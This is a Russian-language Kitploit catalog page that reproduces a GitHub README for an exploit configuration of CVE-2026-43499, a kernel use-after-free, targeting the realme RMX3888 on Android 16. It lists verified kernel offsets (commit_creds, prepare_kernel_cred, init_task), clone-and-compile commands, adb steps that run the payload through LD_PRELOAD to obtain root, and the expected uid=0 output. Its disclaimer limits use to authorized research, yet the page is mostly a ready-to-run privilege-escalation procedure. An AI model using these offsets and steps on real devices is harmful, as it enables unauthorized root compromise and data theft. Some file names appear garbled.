Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
rmx3888-cve-2026-43499-config — CVE-2026-43499 конфигурация эксплойта для realme RMX3888 (Android 16) - 20 подтверждённых kernel offsets | Kitploit
Инструменты/GitHubGitHub/bailan766/rmx3888-cve-2026-43499-config
Безопасность AndroidАнализ уязвимостейЭксплуатацияМобильная безопасностьОбучение и ОбразованиеРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubbailan766/rmx3888-cve-2026-43499-config

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

rmx3888-cve-2026-43499-config

CVE-2026-43499 конфигурация эксплойта для realme RMX3888 (Android 16) - 20 подтверждённых kernel offsets

Репозиторий
52873 месяцев назадЕщё не проверено

Конфигурация эксплойта CVE-2026-43499 для realme RMX3888

Информация об устройстве

  • Бренд/Модель: realme RMX3888
  • Версия Android: 16 (SDK 36)
  • ID сборки: BP2A.250605.015
  • Ядро: Linux 6.1.141-android14-11-o-gffc54a6d2287
  • SoC: Qualcomm SM8650 (Snapdragon 8 Gen 3)
  • Архитектура: ARM64 (aarch64)

Обзор

Этот репозиторий содержит полные файлы конфигурации для эксплойта CVE-2026-43499 (GhostLock), нацеленного на устройство realme RMX3888. Все смещения ядра были извлечены и проверены из boot.img устройства.

Возможности

✓ 20 проверенных смещений ядра, извлечённых из vmlinux
✓ Логирование в реальном времени с O_SYNC + fsync для защиты от паники ядра
✓ Конфигурация, специфичная для устройства RMX3888
✓ Скрипт компиляции в один клик с автоопределением NDK
✓ Подробная документация с руководствами по сборке

Включённые файлы

Файлы конфигурации

  • arget.h - Смещения ядра, специфичные для устройства (20 проверенных смещений)
  • common.h - Конфигурация сборки с интеграцией логирования

ealtime_log.h - Реализация логирования в реальном времени

Документация

  • BUILD_GUIDE.md - Полное руководство по компиляции

eport.md - Подробный отчёт об анализе (Раунд 1)

ound2_report.md - Отчёт о конфигурации (Раунд 2)

  • ROUND2_STATUS.md - Сводка статуса выполнения
  • compile_status.json - Машиночитаемый статус сборки

Скрипты

  • compile_rmx3888.sh - Скрипт компиляции в один клик

Быстрый старт

Предварительные требования

  • Android NDK r26d или более поздняя версия
  • Среда Git Bash, Linux/WSL или Termux

Компиляция

git clone https://github.com/Bailan766/rmx3888-cve-2026-43499-config.git
cd rmx3888-cve-2026-43499-config
export ANDROID_NDK_HOME=/path/to/android-ndk
chmod +x compile_rmx3888.sh
./compile_rmx3888.sh

В Git Bash на Windows скрипт автоматически определяет путь к SDK по умолчанию, используемый Android Studio и инструментами командной строки: /c/Android/Sdk/ndk/*.

Примечание: ASHMEM_MISC_FOPS, ASHMEM_COMPAT_IOCTL и COPY_SPLICE_READ в настоящее время используют совместимые со сборкой запасные значения в целевом заголовке RMX3888. Замените их на проверенные смещения RMX3888 vmlinux, прежде чем полагаться на поведение во время выполнения.

Использование

# Push to device
adb push build/rmx3888-BP2A.250605.015/bin/preload.so /data/local/tmp/

# Set permissions
adb shell chmod 755 /data/local/tmp/preload.so

# Execute exploit
adb shell LD_PRELOAD=/data/local/tmp/preload.so id

# Check logs
adb shell cat /sdcard/Download/log_*.txt

Ключевые смещения

Основные смещения ниже были извлечены из ядра 6.1.141. См. примечание выше о резервных записях, совместимых со сборкой, которые всё ещё требуют проверки для RMX3888.

#define KIMAGE_TEXT_BASE        0xffffffc008000000ULL
#define INIT_TASK_OFF           0x0202fc00ULL
#define SECURITY_HOOK_HEADS_OFF 0x015c1488ULL
#define ASHMEM_FOPS_OFF         0x0126bbe0ULL
#define COMMIT_CREDS            0xffffffc0081e9b60 (offset: 0x001e9b60)
#define PREPARE_KERNEL_CRED     0xffffffc0081e9df0 (offset: 0x001e9df0)
// ... 15 more verified offsets

Возможности логирования

Встроенный модуль логирования в реальном времени обеспечивает:

  • Основной путь лога: /sdcard/Download/log_.txt
  • Резервный путь: /data/local/tmp/log_.txt
  • Устойчивость к kernel panic: Использует O_SYNC + fsync() для немедленной записи на диск
  • Записи с метками времени: Все записи лога содержат точные метки времени
  • Зеркалирование в stderr: Логи также выводятся в stderr для adb logcat

Ожидаемые результаты

Успешная эксплуатация

uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),...

Вывод в файл лога

` === CVE-2026-43499 Exploit Log Started === Time: 2026-07-23 18:00:00 PID: 12345 UID: 2000 Log Path: /sdcard/Download/log_20260723_180000.txt

[18:00:01] [] Starting exploit... [18:00:02] [+] Kernel base leaked: 0xffffffc008000000 [18:00:03] [] Preparing heap spray... ... `

Устранение неполадок

Подробные инструкции по устранению неполадок см. в BUILD_GUIDE.md, включая:

  • Ошибки компиляции
  • Сбои во время выполнения
  • Проблемы с обходом KASLR
  • Блокировки политики SELinux

Уведомление о безопасности

⚠️ ВНИМАНИЕ: Данная конфигурация предназначена только для авторизованных исследований в области безопасности.

  • Используйте только на устройствах, которыми вы владеете
  • Не распространяйте скомпилированные бинарные файлы без разрешения
  • Соблюдайте практики ответственного раскрытия информации
  • Файлы логов могут содержать конфиденциальную системную информацию

Технические детали

Процесс извлечения

  1. Boot.img распакован с помощью парсера Android Boot Image v4
  2. vmlinux извлечён с помощью vmlinux-to-elf (102 871 символ)
  3. Разобрано и проанализировано 99 580 валидных символов
  4. Перекрёстно проверено 20 критических смещений
  5. Проверка смещений через проверки согласованности адресов символов

Проверка смещений

  • Базовый адрес ядра подтверждён: 0xffffffc008000000
  • Все адреса символов проверены на соответствие раскладке памяти
  • Сопоставлено с эталонным устройством (Google Pixel tokay)
  • 100% успешность извлечения (20/20 смещений)

Ссылки

  • CVE-2026-43499: GhostLock — UAF-уязвимость в аллокаторе Ion
  • Исходный код эксплойта: https://github.com/NebuSec/CyberMeowfia
  • Целевое устройство: realme RMX3888 (Snapdragon 8 Gen 3)

Лицензия

Данная конфигурация предоставляется исключительно в образовательных целях и для исследований в области безопасности.

Отказ от ответственности

Данный репозиторий содержит материалы для исследований в области безопасности. Авторы и участники не несут ответственности за любое неправомерное использование или ущерб, причинённый этим кодом. Используйте на свой страх и риск и только на устройствах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.


Сгенерировано: 2026-07-23
Версия ядра: 6.1.141-android14-11-o-gffc54a6d2287
Проверка смещений: 100% (20/20)
Статус: Готово к компиляции

Скачать инструмент